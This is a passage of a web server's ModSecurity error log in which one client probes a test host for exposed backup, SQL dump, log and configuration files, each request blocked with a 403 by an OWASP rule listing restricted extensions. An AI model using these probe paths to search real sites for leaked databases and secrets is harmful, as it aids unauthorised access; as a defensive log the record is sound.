[Sun Mar 22 01:06:30.906132 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/app.js.bak&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMF2AAAAAg&quot;]
[Sun Mar 22 01:06:30.906533 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/app.js.bak&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMF2AAAAAg&quot;]
[Sun Mar 22 01:06:30.906665 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/app.js.bak&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMF2AAAAAg&quot;]
[Sun Mar 22 01:06:30.929402 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/backup.sql&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMF2QAAAAg&quot;]
[Sun Mar 22 01:06:30.929782 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/backup.sql&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMF2QAAAAg&quot;]
[Sun Mar 22 01:06:30.929905 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/backup.sql&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMF2QAAAAg&quot;]
[Sun Mar 22 01:06:31.064151 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/config.php.bak&quot;] [unique_id &quot;ab8yh7vc1sKRk16HHKMF3wAAAAg&quot;]
[Sun Mar 22 01:06:31.064536 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/config.php.bak&quot;] [unique_id &quot;ab8yh7vc1sKRk16HHKMF3wAAAAg&quot;]
[Sun Mar 22 01:06:31.064665 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/config.php.bak&quot;] [unique_id &quot;ab8yh7vc1sKRk16HHKMF3wAAAAg&quot;]
[Sun Mar 22 01:06:31.109071 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/db.sql&quot;] [unique_id &quot;ab8yh7vc1sKRk16HHKMF4QAAAAg&quot;]
[Sun Mar 22 01:06:31.109447 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/db.sql&quot;] [unique_id &quot;ab8yh7vc1sKRk16HHKMF4QAAAAg&quot;]
[Sun Mar 22 01:06:31.109564 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/db.sql&quot;] [unique_id &quot;ab8yh7vc1sKRk16HHKMF4QAAAAg&quot;]
[Sun Mar 22 01:06:31.154484 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/debug.log&quot;] [unique_id &quot;ab8yh7vc1sKRk16HHKMF4wAAAAg&quot;]
[Sun Mar 22 01:06:31.154870 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/debug.log&quot;] [unique_id &quot;ab8yh7vc1sKRk16HHKMF4wAAAAg&quot;]
[Sun Mar 22 01:06:31.154991 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/debug.log&quot;] [unique_id &quot;ab8yh7vc1sKRk16HHKMF4wAAAAg&quot;]
[Sun Mar 22 01:06:31.199249 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/dump.sql&quot;] [unique_id &quot;ab8yh7vc1sKRk16HHKMF5QAAAAg&quot;]
[Sun Mar 22 01:06:31.200795 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/dump.sql&quot;] [unique_id &quot;ab8yh7vc1sKRk16HHKMF5QAAAAg&quot;]
[Sun Mar 22 01:06:31.200928 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/dump.sql&quot;] [unique_id &quot;ab8yh7vc1sKRk16HHKMF5QAAAAg&quot;]
[Sun Mar 22 01:06:31.245527 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/error.log&quot;] [unique_id &quot;ab8yh7vc1sKRk16HHKMF5wAAAAg&quot;]
[Sun Mar 22 01:06:31.245956 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/error.log&quot;] [unique_id &quot;ab8yh7vc1sKRk16HHKMF5wAAAAg&quot;]
[Sun Mar 22 01:06:31.246115 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/error.log&quot;] [unique_id &quot;ab8yh7vc1sKRk16HHKMF5wAAAAg&quot;]
[Sun Mar 22 01:06:31.313231 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/logs/error.log&quot;] [unique_id &quot;ab8yh7vc1sKRk16HHKMF6gAAAAg&quot;]
[Sun Mar 22 01:06:31.313629 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/logs/error.log&quot;] [unique_id &quot;ab8yh7vc1sKRk16HHKMF6gAAAAg&quot;]
[Sun Mar 22 01:06:31.313776 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/logs/error.log&quot;] [unique_id &quot;ab8yh7vc1sKRk16HHKMF6gAAAAg&quot;]
[Sun Mar 22 01:06:31.474706 2026] [:error] [pid 2857387] [client 185.177.72.38:31374] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/site.conf&quot;] [unique_id &quot;ab8yh79QSbN48bnz2xViugAAAAc&quot;]
[Sun Mar 22 01:06:31.475112 2026] [:error] [pid 2857387] [client 185.177.72.38:31374] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/site.conf&quot;] [unique_id &quot;ab8yh79QSbN48bnz2xViugAAAAc&quot;]
[Sun Mar 22 01:06:31.475245 2026] [:error] [pid 2857387] [client 185.177.72.38:31374] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/site.conf&quot;] [unique_id &quot;ab8yh79QSbN48bnz2xViugAAAAc&quot;]
[Sun Mar 22 01:06:31.497198 2026] [:error] [pid 2857387] [client 185.177.72.38:31374] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri 